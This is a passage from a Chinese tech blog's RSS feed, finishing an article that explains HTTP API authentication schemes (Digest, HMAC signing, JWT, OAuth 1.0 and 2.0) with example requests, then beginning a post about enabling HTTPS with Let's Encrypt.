<li>其中的 <code>nonce</code> 为服务器端生成的随机数，然后，客户端做 <code>HASH1=MD5(MD5(username:realm:password):nonce:cnonce)</code> ，其中的 <code>cnonce</code> 为客户端生成的随机数，这样就可以使得整个MD5的结果是不一样的。</li>
<li>如果 <code>qop</code> 中包含了 <code>auth</code> ，那么还得做  <code>HASH2=MD5(method:digestURI)</code> 其中的 <code>method</code> 就是HTTP的请求方法（GET/POST&#8230;），<code>digestURI</code> 是请求的URL。</li>
<li>如果 <code>qop</code> 中包含了 <code>auth-init</code> ，那么，得做  <code>HASH2=MD5(method:digestURI:MD5(entityBody))</code> 其中的 <code>entityBody</code> 就是HTTP请求的整个数据体。</li>
<li>然后，得到 <code>response = MD5(HASH1:nonce:nonceCount:cnonce:qop:HASH2)</code> 如果没有 <code>qop</code>则 <code>response = MD5(HA1:nonce:HA2)</code></li>
<li>最后，我们的客户端对服务端发起如下请求—— 注意HTTP头的 <code>Authorization: Digest ...</code></li>
</ul>
<pre style="padding-left: 40px;">GET /dir/index.html HTTP/1.0
Host: localhost
Authorization: Digest username="Mufasa",
                     realm="testrealm@host.com",
                     nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
                     uri="%2Fcoolshell%2Fadmin",
                     qop=auth,
                     nc=00000001,
                     cnonce="0a4f113b",
                     response="6629fae49393a05397450978507c4ef1",
                     opaque="5ccc069c403ebaf9f0171e9517f40e41"</pre>
<p>维基百科上的 <a href="https://en.wikipedia.org/wiki/Digest_access_authentication" target="_blank" rel="noopener noreferrer">Wikipedia: Digest access authentication</a> 词条非常详细地描述了这个细节。</p>
<p>摘要认证这个方式会比之前的方式要好一些，因为没有在网上传递用户的密码，而只是把密码的MD5传送过去，相对会比较安全，而且，其并不需要是否TLS/SSL的安全链接。但是，<strong>别看这个算法这么复杂，最后你可以发现，整个过程其实关键是用户的password，这个password如果不够得杂，其实是可以被暴力破解的，而且，整个过程是非常容易受到中间人攻击</strong>——比如一个中间人告诉客户端需要的 Basic 的认证方式 或是 老旧签名认证方式（RFC2069）。</p>
<h4>App Secret Key + HMAC</h4>
<p>先说HMAC技术，这个东西来自于MAC &#8211; <a href="https://en.wikipedia.org/wiki/Message_authentication_code" target="_blank" rel="noopener noreferrer">Message Authentication Code</a>，是一种用于给消息签名的技术，也就是说，我们怕消息在传递的过程中被人修改，所以，我们需要用对消息进行一个MAC算法，得到一个摘要字串，然后，接收方得到消息后，进行同样的计算，然后比较这个MAC字符串，如果一致，则表明没有被修改过（整个过程参看下图）。而HMAC &#8211; <a href="https://en.wikipedia.org/wiki/HMAC" target="_blank" rel="noopener noreferrer">Hash-based Authenticsation Code</a>，指的是利用Hash技术完成这一工作，比如：SHA-256算法。</p>
<p>&nbsp;</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large" src="https://coolshell.cn/wp-content/uploads/2019/05/MAC-1024x634.png" alt="" width="640" height="396" /></p>
<p style="text-align: center;">（图片来自 <a href="https://en.wikipedia.org/wiki/Message_authentication_code" target="_blank" rel="noopener noreferrer">Wikipedia &#8211; MAC 词条</a> ）</p>
<p>我们再来说App ID，这个东西跟验证没有关系，只是用来区分，是谁来调用API的，就像我们每个人的身份证一样，只是用来标注不同的人，不是用来做身份认证的。与前面的不同之处是，这里，我们需要用App ID 来映射一个用于加密的密钥，这样一来，我们就可以在服务器端进行相关的管理，我们可以生成若干个密钥对（AppID, AppSecret），并可以有更细粒度的操作权限管理。</p>
<p>把AppID和HMAC用于API认证，目前来说，玩得最好最专业的应该是AWS了，我们可以通过<a href="https://docs.aws.amazon.com/zh_cn/general/latest/gr/sigv4-create-canonical-request.html" target="_blank" rel="noopener noreferrer">S3的API请求签名文档</a>看到AWS是怎么玩的。整个过程还是非常复杂的，可以通过下面的图片流程看个大概。基本上来说，分成如下几个步骤：</p>
<ol>
<li>把HTTP的请求（方法、URI、查询字串、头、签名头，body）打个包叫 <code>CanonicalRequest</code>，作个SHA-256的签名，然后再做一个base16的编码</li>
<li>把上面的这个签名和签名算法 <code>AWS4-HMAC-SHA256</code>、时间戳、Scop，再打一个包，叫 <code>StringToSign</code>。</li>
<li>准备签名，用 <code>AWSSecretAccessKey</code>来对日期签一个 <code>DataKey</code>，再用 <code>DataKey</code> 对要操作的Region签一个 <code>DataRegionKey</code> ，再对相关的服务签一个<code>DataRegionServiceKey</code> ，最后得到 <code>SigningKey</code>.</li>
<li>用第三步的 <code>SigningKey</code>来对第二步的 <code>StringToSign</code> 签名。</li>
</ol>
<p><img decoding="async" loading="lazy" class="aligncenter size-full" src="https://coolshell.cn/wp-content/uploads/2019/05/sigV4-using-query-params.png" alt="" width="653" height="599" /></p>
<p>&nbsp;</p>
<p>最后，发出HTTP Request时，在HTTP头的 <code>Authorization</code>字段中放入如下的信息：</p>
<pre class="programlisting" style="padding-left: 40px;">Authorization: AWS4-HMAC-SHA256 
               Credential=AKIDEXAMPLE/20150830/us-east-1/iam/aws4_request, 
               SignedHeaders=content-type;host;x-amz-date, 
               Signature=5d672d79c15b13162d9279b0855cfba6789a8edb4c82c400e06b5924a6f2b5d7
</pre>
<p>&nbsp;</p>
<p>其中的  <code>AKIDEXAMPLE</code> 是 AWS Access Key ID， 也就是所谓的 AppID，服务器端会根据这个AppID来查相关的 Secret Access Key，然后再验证签名。如果，你对这个过程有点没看懂的话，你可以读一读这篇文章——《<a href="https://czak.pl/2015/09/15/s3-rest-api-with-curl.html" target="_blank" rel="noopener noreferrer">Amazon S3 Rest API with curl</a>》这篇文章里有好些代码，代码应该是最有细节也是最准确的了。</p>
<p>这种认证的方式好处在于，AppID和AppSecretKey，是由服务器的系统开出的，所以，是可以被管理的，AWS的IAM就是相关的管理，其管理了用户、权限和其对应的AppID和AppSecretKey。但是不好的地方在于，这个东西没有标准 ，所以，各家的实现很不一致。比如： <a href="https://github.com/acquia/http-hmac-spec" target="_blank" rel="noopener noreferrer">Acquia 的 HMAC</a>，<a href="https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=4_3" target="_blank" rel="noopener noreferrer">微信的签名算法</a> （这里，我们需要说明一下，微信的API没有遵循HTTP协议的标准，把认证信息放在HTTP 头的 <code>Authorization</code> 里，而是放在body里）</p>
<h4>JWT &#8211; JSON Web Tokens</h4>
<p>JWT是一个比较标准的认证解决方案，这个技术在Java圈里应该用的是非常普遍的。JWT签名也是一种MAC（<a href="https://en.wikipedia.org/wiki/Message_authentication_code" target="_blank" rel="noopener noreferrer">Message Authentication Code</a>）的方法。JWT的签名流程一般是下面这个样子：</p>
<ol>
<li>用户使用用户名和口令到认证服务器上请求认证。</li>
<li>认证服务器验证用户名和口令后，以服务器端生成JWT Token，这个token的生成过程如下：
<ul>
<li>认证服务器还会生成一个 Secret Key（密钥）</li>
<li>对JWT Header和 JWT Payload分别求Base64。在Payload可能包括了用户的抽象ID和的过期时间。</li>
<li>用密钥对JWT签名 <code>HMAC-SHA256(SecertKey, Base64UrlEncode(JWT-Header)+'.'+Base64UrlEncode(JWT-Payload));</code></li>
</ul>
</li>
<li>然后把 <code>base64(header).base64(payload).signature</code> 作为 JWT token返回客户端。</li>
<li>客户端使用JWT Token向应用服务器发送相关的请求。这个JWT Token就像一个临时用户权证一样。</li>
</ol>
<p>当应用服务器收到请求后：</p>
<ol>
<li>应用服务会检查 JWT  Token，确认签名是正确的。</li>
<li>然而，因为只有认证服务器有这个用户的Secret Key（密钥），所以，应用服务器得把JWT Token传给认证服务器。</li>
<li>认证服务器通过JWT Payload 解出用户的抽象ID，然后通过抽象ID查到登录时生成的Secret Key，然后再来检查一下签名。</li>
<li>认证服务器检查通过后，应用服务就可以认为这是合法请求了。</li>
</ol>
<p>我们可以看以，上面的这个过程，是在认证服务器上为用户动态生成 Secret Key的，应用服务在验签的时候，需要到认证服务器上去签，这个过程增加了一些网络调用，所以，JWT除了支持HMAC-SHA256的算法外，还支持RSA的非对称加密的算法。</p>
<p>使用RSA非对称算法，在认证服务器这边放一个私钥，在应用服务器那边放一个公钥，认证服务器使用私钥加密，应用服务器使用公钥解密，这样一来，就不需要应用服务器向认证服务器请求了，但是，RSA是一个很慢的算法，所以，虽然你省了网络调用，但是却费了CPU，尤其是Header和Payload比较长的时候。所以，一种比较好的玩法是，如果我们把header 和 payload简单地做SHA256，这会很快，然后，我们用RSA加密这个SHA256出来的字符串，这样一来，RSA算法就比较快了，而我们也做到了使用RSA签名的目的。</p>
<p>最后，我们只需要使用一个机制在认证服务器和应用服务器之间定期地换一下公钥私钥对就好了。</p>
<p>这里强烈建议全文阅读 Anglar 大学的 《<a href="https://blog.angular-university.io/angular-jwt/" target="_blank" rel="noopener noreferrer">JSW：The Complete Guide to JSON Web Tokens</a>》</p>
<h4>OAuth 1.0</h4>
<p>OAuth也是一个API认证的协议，这个协议最初在2006年由Twitter的工程师在开发OpenID实现的时候和社交书签网站Ma.gnolia时发现，没有一种好的委托授权协议，后来在2007年成立了一个OAuth小组，知道这个消息后，Google员工也加入进来，并完善有善了这个协议，在2007年底发布草案，过一年后，在2008年将OAuth放进了IETF作进一步的标准化工作，最后在2010年4月，正式发布OAuth 1.0，即：<a href="https://tools.ietf.org/html/rfc5849" target="_blank" rel="noopener noreferrer">RFC 5849</a> （这个RFC比起TCP的那些来说读起来还是很轻松的），不过，如果你想了解其前身的草案，可以读一下 <a href="http://oauth.net/core/1.0a/" target="_blank" rel="noopener noreferrer">OAuth Core 1.0 Revision A</a> ，我在下面做个大概的描述。</p>
<p>根据RFC 5849，可以看到 OAuth 的出现，目的是为了，用户为了想使用一个第三方的网络打印服务来打印他在某网站上的照片，但是，用户不想把自己的用户名和口令交给那个第三方的网络打印服务，但又想让那个第三方的网络打印服务来访问自己的照片，为了解决这个授权的问题，OAuth这个协议就出来了。</p>
<ul>
<li>这个协议有三个角色：
<ul>
<li><strong>User（照片所有者-用户）</strong></li>
<li><strong>Consumer（第三方照片打印服务）</strong></li>
<li><strong>Service Provider（照片存储服务）</strong></li>
</ul>
</li>
<li>这个协义有三个阶段：
<ul>
<li><strong>Consumer获取Request Token</strong></li>
<li><strong>Service Provider 认证用户并授权Consumer</strong></li>
<li><strong>Consumer获取Access Token调用API访问用户的照片</strong></li>
</ul>
</li>
</ul>
<p>整个授权过程是这样的：</p>
<ol>
<li>Consumer（第三方照片打印服务）需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret</li>
<li>当 User 访问 Consumer 时，Consumer 向 Service Provide 发起请求请求Request Token （需要对HTTP请求签名）</li>
<li>Service Provide 验明 Consumer 是注册过的第三方服务商后，返回 Request Token（<code>oauth_token</code>）和 Request Token Secret （<code>oauth_token_secret</code>）</li>
<li>Consumer 收到 Request Token 后，使用HTTP GET 请求把 User 切到 Service Provide 的认证页上（其中带上Request Token），让用户输入他的用户和口令。</li>
<li>Service Provider 认证 User 成功后，跳回 Consumer，并返回 Request Token （<code>oauth_token</code>）和 Verification Code（<code>oauth_verifier</code>）</li>
<li>接下来就是签名请求，用Request Token 和 Verification Code 换取 Access Token （<code>oauth_token</code>）和 Access Token Secret (<code>oauth_token_secret</code>)</li>
<li>最后使用Access Token 访问用户授权访问的资源。</li>
</ol>
<p>下图附上一个Yahoo!的流程图可以看到整个过程的相关细节。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full" src="https://coolshell.cn/wp-content/uploads/2019/05/oauth_graph.gif" alt="" width="660" height="992" /></p>
<p>因为上面这个流程有三方：User，Consumer 和 Service Provide，所以，又叫 3-legged flow，三脚流程。OAuth 1.0 也有不需要用户参与的，只有Consumer 和 Service Provider 的， 也就是 2-legged flow 两脚流程，其中省掉了用户认证的事。整个过程如下所示：</p>
<ol>
<li>Consumer（第三方照片打印服务）需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret</li>
<li>Consumer 向 Service Provide 发起请求请求Request Token （需要对HTTP请求签名）</li>
<li>Service Provide 验明 Consumer 是注册过的第三方服务商后，返回 Request Token（<code>oauth_token</code>）和 Request Token Secret （<code>oauth_token_secret</code>）</li>
<li>Consumer 收到 Request Token 后，直接换取 Access Token （<code>oauth_token</code>）和 Access Token Secret (<code>oauth_token_secret</code>)</li>
<li>最后使用Access Token 访问用户授权访问的资源。</li>
</ol>
<p>最后，再来说一说OAuth中的签名。</p>
<ul>
<li>我们可以看到，有两个密钥，一个是Consumer注册Service Provider时由Provider颁发的 Consumer Secret，另一个是 Token Secret。</li>
<li>签名密钥就是由这两具密钥拼接而成的，其中用 <code>&amp;</code>作连接符。假设 Consumer Secret 为 <code>j49sk3j29djd</code> 而 Token Secret 为<code>dh893hdasih9</code>那个，签名密钥为：<code>j49sk3j29djd&amp;dh893hdasih9</code></li>
<li>在请求Request/Access Token的时候需要对整个HTTP请求进行签名（使用HMAC-SHA1和HMAC-RSA1签名算法），请求头中需要包括一些OAuth需要的字段，如：
<ul>
<li><strong>Consumer Key</strong> ： 也就是所谓的AppID</li>
<li><strong>Token</strong>： Request Token 或 Access Token</li>
<li><strong>Signature Method</strong> ：签名算法比如：HMAC-SHA1</li>
<li><strong>Timestamp</strong>：过期时间</li>
<li><strong>Nonce</strong>：随机字符串</li>
<li><strong>Call Back</strong>：回调URL</li>
</ul>
</li>
</ul>
<p>下图是整个签名的示意图：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full" src="https://coolshell.cn/wp-content/uploads/2019/05/oauth_singature.png" alt="" width="715" height="877" /></p>
<p>图片还是比较直观的，我就不多解释了。</p>
<h4>OAuth 2.0</h4>
<p>在前面，我们可以看到，从Digest Access， 到AppID+HMAC，再到JWT，再到OAuth 1.0，这些个API认证都是要向Client发一个密钥（或是用密码）然后用HASH或是RSA来签HTTP的请求，<strong>这其中有个主要的原因是，以前的HTTP是明文传输，所以，在传输过程中很容易被篡改，于是才搞出来一套的安全签名机制</strong>，所以，这些个认证的玩法是可以在HTTP明文协议下玩的。</p>
<p>这种使用签名方式大家可以看到是比较复杂的，所以，对于开发者来说，也是很不友好的，在组织签名的那些HTTP报文的时候，各种，URLEncode和Base64，还要对Query的参数进行排序，然后有的方法还要层层签名，非常容易出错，另外，这种认证的安全粒度比较粗，授权也比较单一，对于有终端用户参与的移动端来说也有点不够。所以，在2012年的时候，OAuth 2.0 的 <a href="https://tools.ietf.org/html/rfc6749" target="_blank" rel="noopener noreferrer">RFC 6749</a> 正式放出。</p>
<p><strong>OAuth 2.0依赖于TLS/SSL的链路加密技术（HTTPS），完全放弃了签名的方式，认证服务器再也不返回什么 token secret 的密钥了，所以，OAuth 2.0是完全不同于1.0 的，也是不兼容的</strong>。目前，Facebook 的 Graph API 只支持OAuth 2.0协议，Google 和 Microsoft Azure 也支持Auth 2.0，国内的微信和支付宝也支持使用OAuth 2.0。</p>
<p>下面，我们来重点看一下OAuth 2.0的两个主要的Flow：</p>
<ul>
<li>一个是Authorization Code Flow， 这个是 3 legged 的</li>
<li>一个是Client Credential Flow，这个是 2 legged 的。</li>
</ul>
<h5><strong>Authorization Code Flow</strong></h5>
<p>Authorization Code 是最常使用的OAuth 2.0的授权许可类型，它适用于用户给第三方应用授权访问自己信息的场景。这个Flow也是OAuth 2.0四个Flow中我个人觉得最完整的一个Flow，其流程图如下所示。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full " src="https://coolshell.cn/wp-content/uploads/2019/05/auth_code_flow.png" alt="" width="621" height="505" /></p>
<p>&nbsp;</p>
<p>下面是对这个流程的一个细节上的解释：</p>
<p>1）当用户（Resource Owner）访问第三方应用（Client）的时候，第三方应用会把用户带到认证服务器（Authorization Server）上去，主要请求的是 <code>/authorize</code> API，其中的请求方式如下所示。</p>
<pre style="padding-left: 40px;">https://login.authorization-server.com/authorize?
        client_id=6731de76-14a6-49ae-97bc-6eba6914391e
        &amp;response_type=code
        &amp;redirect_uri=http%3A%2F%2Fexample-client.com%2Fcallback%2F
        &amp;scope=read
        &amp;state=xcoiv98CoolShell3kch</pre>
<p style="padding-left: 40px;">其中：</p>
<ul>
<li style="list-style-type: none;">
<ul>
<li><code>client_id</code>为第三方应用的App ID</li>
<li><code>response_type=code</code>为告诉认证服务器，我要走Authorization Code Flow。</li>
<li><code>redirect_uri</code>意思是我跳转回第三方应用的URL</li>
<li><code>scope</code>意是相关的权限</li>
<li><code>state</code> 是一个随机的字符串，主要用于防CSRF攻击。</li>
</ul>
</li>
</ul>
<p>2）当Authorization Server收到这个URL请求后，其会通过 <code>client_id</code>来检查 <code>redirect_uri</code>和 <code>scope</code>是否合法，如果合法，则弹出一个页面，让用户授权（如果用户没有登录，则先让用户登录，登录完成后，出现授权访问页面）。</p>
<p>3）当用户授权同意访问以后，Authorization Server 会跳转回 Client ，并以其中加入一个 Authorization Code。 如下所示：</p>
<pre style="padding-left: 40px;">https://example-client.com/callback?
        code=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG
        &amp;state=xcoiv98CoolShell3kch</pre>
<p style="padding-left: 40px;">我们可以看到，</p>
<ul>
<li style="list-style-type: none;">
<ul>
<li>请流动的链接是第 1）步中的 <code>redirect_uri</code></li>
<li>其中的 <code>state</code> 的值也和第 1）步的 <code>state</code>一样。</li>
</ul>
</li>
</ul>
<p>4）接下来，Client 就可以使用 Authorization Code 获得 Access Token。其需要向 Authorization Server 发出如下请求。</p>
<pre style="padding-left: 40px;">POST /oauth/token HTTP/1.1
Host: authorization-server.com
 
code=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG
&amp;grant_type=code
&amp;redirect_uri=https%3A%2F%2Fexample-client.com%2Fcallback%2F
&amp;client_id=6731de76-14a6-49ae-97bc-6eba6914391e
&amp;client_secret=JqQX2PNo9bpM0uEihUPzyrh</pre>
<p>5）如果没什么问题，Authorization 会返回如下信息。</p>
<pre style="padding-left: 40px;">{
  "access_token": "iJKV1QiLCJhbGciOiJSUzI1NiI",
  "refresh_token": "1KaPlrEqdFSBzjqfTGAMxZGU",
  "token_type": "bearer",
  "expires": 3600,
  "id_token": "eyJ0eXAiOiJKV1QiLCJhbGciO.eyJhdWQiOiIyZDRkM..."
}</pre>
<p style="padding-left: 40px;">其中，</p>
<ul>
<li style="list-style-type: none;">
<ul>
<li><code>access_token</code>就是访问请求令牌了</li>
<li><code>refresh_token</code>用于刷新 <code>access_token</code></li>
<li><code>id_token</code> 是JWT的token，其中一般会包含用户的OpenID</li>
</ul>
</li>
</ul>
<p>6）接下来就是用 Access Token 请求用户的资源了。</p>
<pre style="padding-left: 40px;">GET /v1/user/pictures
Host: https://example.resource.com

Authorization: Bearer iJKV1QiLCJhbGciOiJSUzI1NiI</pre>
<p>&nbsp;</p>
<h5> Client Credential Flow</h5>
<p>Client Credential 是一个简化版的API认证，主要是用于认证服务器到服务器的调用，也就是没有用户参与的的认证流程。下面是相关的流程图。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full" src="https://coolshell.cn/wp-content/uploads/2019/05/client_credentials_flow.png" alt="" width="549" height="414" /></p>
<p>这个过程非常简单，本质上就是Client用自己的 <code>client_id</code>和 <code>client_secret</code>向Authorization Server 要一个 Access Token，然后使用Access Token访问相关的资源。</p>
<p>请求示例</p>
<pre style="padding-left: 40px;">POST /token HTTP/1.1
Host: server.example.com
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials
&amp;client_id=czZCaGRSa3F0Mzpn
&amp;client_secret=7Fjfp0ZBr1KtDRbnfVdmIw</pre>
<p>返回示例</p>
<pre style="padding-left: 40px;">{
  "access_token":"MTQ0NjJkZmQ5OTM2NDE1ZTZjNGZmZjI3",
  "token_type":"bearer",
  "expires_in":3600,
  "refresh_token":"IwOGYzYTlmM2YxOTQ5MGE3YmNmMDFkNTVk",
  "scope":"create"
}</pre>
<p>这里，容我多扯一句，微信公从平台的开发文档中，使用了OAuth 2.0 的 Client Credentials的方式（参看文档“<a href="https://mp.weixin.qq.com/wiki?t=resource/res_main&amp;id=mp1421140183" target="_blank" rel="noopener noreferrer">微信公众号获取access token</a>”），我截了个图如下所谓。我们可以看到，<strong>微信公众号使用的是GET方式的请求，把AppID和AppSecret放在了URL中，虽然这也符合OAuth 2.0，但是并不好，因为大多数网关代理会把整个URI请求记到日志中。我们只要脑补一下腾讯的网关的Access Log，里面的日志一定会有很多的各个用户的AppID和AppSecret……</strong></p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large" src="https://coolshell.cn/wp-content/uploads/2019/05/wechat.dev_-1024x876.png" alt="" width="640" height="548" /></p>
<p>&nbsp;</p>
<h4>小结</h4>
<p>讲了这么多，我们来小结一下（下面的小结可能会有点散）</p>
<h5>两个术语和三个概念</h5>
<ul>
<li>区分两个术语：Authentication（认证） 和 Authorization （授权），前者是证明请求者是身份，就像身份证一样，后者是为了获得权限。身份是区别于别人的证明，而权限是证明自己的特权。Authentication为了证明操作的这个人就是他本人，需要提供密码、短信验证码，甚至人脸识别。Authorization 则是不需要在所有的请求都需要验人，是在经过Authorization后得到一个Token，这就是Authorization。就像护照和签证一样。</li>
<li>区分三个概念：编码Base64Encode、签名HMAC、加密RSA。Base64编码是为了更好的传输（没有怪异的字符，可以传输二进制文件），等同于明文，HMAC签名是为了信息不能被篡改，RSA加密是为了不让别人看到是什么信息。</li>
</ul>
<h5>明白一些初衷</h5>
<ul>
<li>使用复杂地HMAC哈希签名方式主要是应对当年没有TLS/SSL加密链路的情况。</li>
<li>JWT把 <code>uid</code> 放在 Token中目的是为了去掉状态，但不能让用户修改，所以需要签名。</li>
<li>OAuth 1.0区分了两个事，一个是第三方的Client，一个是真正的用户，其先拿Request Token，再换Access Token的方法主要是为了把第三方应用和用户区分开来。</li>
<li>用户的Password是用户自己设置的，复杂度不可控，服务端颁发的Serect会很复杂，但主要目的是为了容易管理，可以随时注销掉。</li>
<li>OAuth 协议有比所有认证协议有更为灵活完善的配置，如果使用AppID/AppSecret签名的方式，又需要做到可以有不同的权限和可以随时注销，那么你得开发一个像AWS的IAM这样的账号和密钥对管理的系统。</li>
</ul>
<h5>相关的注意事项</h5>
<ul>
<li>无论是哪种方式，我们都应该遵循HTTP的规范，把认证信息放在 <code>Authorization</code> HTTP 头中。</li>
<li>不要使用GET的方式在URL中放入secret之类的东西，因为很多proxy或gateway的软件会把整个URL记在Access Log文件中。</li>
<li>密钥Secret相当于Password，但他是用来加密的，最好不要在网络上传输，如果要传输，最好使用TLS/SSL的安全链路。</li>
<li>HMAC中无论是MD5还是SHA1/SHA2，其计算都是非常快的，RSA的非对称加密是比较耗CPU的，尤其是要加密的字符串很长的时候。</li>
<li>最好不要在程序中hard code 你的 Secret，因为在github上有很多黑客的软件在监视各种Secret，千万小心！这类的东西应该放在你的配置系统或是部署系统中，在程序启动时设置在配置文件或是环境变量中。</li>
<li>使用AppID/AppSecret，还是使用OAuth1.0a，还是OAuth2.0，还是使用JWT，我个人建议使用TLS/SSL下的OAuth 2.0。</li>
<li>密钥是需要被管理的，管理就是可以新增可以撤销，可以设置账户和相关的权限。最好密钥是可以被自动更换的。</li>
<li>认证授权服务器（Authorization Server）和应用服务器（App Server）最好分开。</li>
</ul>
<p>(全文完)<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png" alt="网络数字身份认证术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_title">网络数字身份认证术</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li><li ><a href="https://coolshell.cn/articles/21003.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-150x150.png" alt="计时攻击 Timing Attacks" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21003.html" class="wp_rp_title">计时攻击 Timing Attacks</a></li><li ><a href="https://coolshell.cn/articles/17607.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg" alt="从 MongoDB “赎金事件” 看安全问题" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17607.html" class="wp_rp_title">从 MongoDB “赎金事件” 看安全问题</a></li><li ><a href="https://coolshell.cn/articles/17066.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg" alt="关于移动端的钓鱼式攻击" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17066.html" class="wp_rp_title">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/19395.html">HTTP API 认证授权术</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/19395.html/feed</wfw:commentRss>
			<slash:comments>70</slash:comments>
		
		
			</item>
		<item>
		<title>如何免费的让网站启用HTTPS</title>
		<link>https://coolshell.cn/articles/18094.html</link>
					<comments>https://coolshell.cn/articles/18094.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Sat, 26 Aug 2017 06:06:17 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=18094</guid>

					<description><![CDATA[<p>今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/18094.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/18094.html">如何免费的让网站启用HTTPS</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="aligncenter size-full" src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner.png" alt="" width="700" height="220" />今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一些弹窗广告。另外，HTTP的网站在搜索引擎中的rank会更低。所以，这事早就应该干了。现在用HTTP访问CoolShell会被得到一个 301 的HTTPS的跳转。下面我分享一下启用HTTPS的过程。</p>
<p>我用的是 <a href="https://letsencrypt.org" target="_blank" rel="noopener noreferrer">Let&#8217;s Encrypt</a>这个免费的解决方案。Let&#8217;s Encrypt 是一个于2015年推出的数字证书认证机构，将通过旨在消除当前手动创建和安装证书的复杂过程的自动化流程，为安全网站提供免费的SSL/TLS证书。这是由<a href="https://letsencrypt.org/isrg/" target="_blank" rel="noopener noreferrer">互联网安全研究小组</a>（ISRG &#8211; Internet Security Research Group，一个公益组织）提供的服务。主要赞助商包括<a title="电子前哨基金会" href="https://www.eff.org" target="_blank" rel="noopener noreferrer">电子前哨基金会</a>，<a class="mw-redirect" title="Mozilla基金会" href="https://www.mozilla.org/foundation/" target="_blank" rel="noopener noreferrer">Mozilla基金会</a>，<a title="Akamai" href="https://www.akamai.com/" target="_blank" rel="noopener noreferrer">Akamai</a>以及Cisco等公司（<a href="https://letsencrypt.org/sponsors/" target="_blank" rel="noopener noreferrer">赞助商列表</a>）。<sup id="cite_ref-3" class="reference"></sup></p>
<p>2015年6月，Let&#8217;s Encrypt得到了一个存储在硬件安全模块中的离线的RSA根证书。这个由IdenTrust证书签发机构交叉签名的根证书被用于签署两个证书。其中一个就是用于签发请求的证书，另一个则是保存在本地的证书，这个证书用于在上一个证书出问题时作备份证书之用。因为IdenTrust的CA根证书目前已被预置于主流浏览器中，所以Let&#8217;s Encrypt签发的证书可以从项目开始就被识别并接受，甚至当用户的浏览器中没有信任ISRG的根证书时也可以。</p>
<p><span id="more-18094"></span></p>
<p>以上介绍文字来自 Wikipedia 的 <a href="https://zh.wikipedia.org/wiki/Let%27s_Encrypt" target="_blank" rel="noopener noreferrer">Let&#8217;s Encrypt 词条</a>。</p>
<p>为你的网站来安装一个证书十分简单，只需要使用电子子前哨基金会EFF的 <a href="https://certbot.eff.org" target="_blank" rel="noopener noreferrer">Certbot</a>，就可以完成。</p>
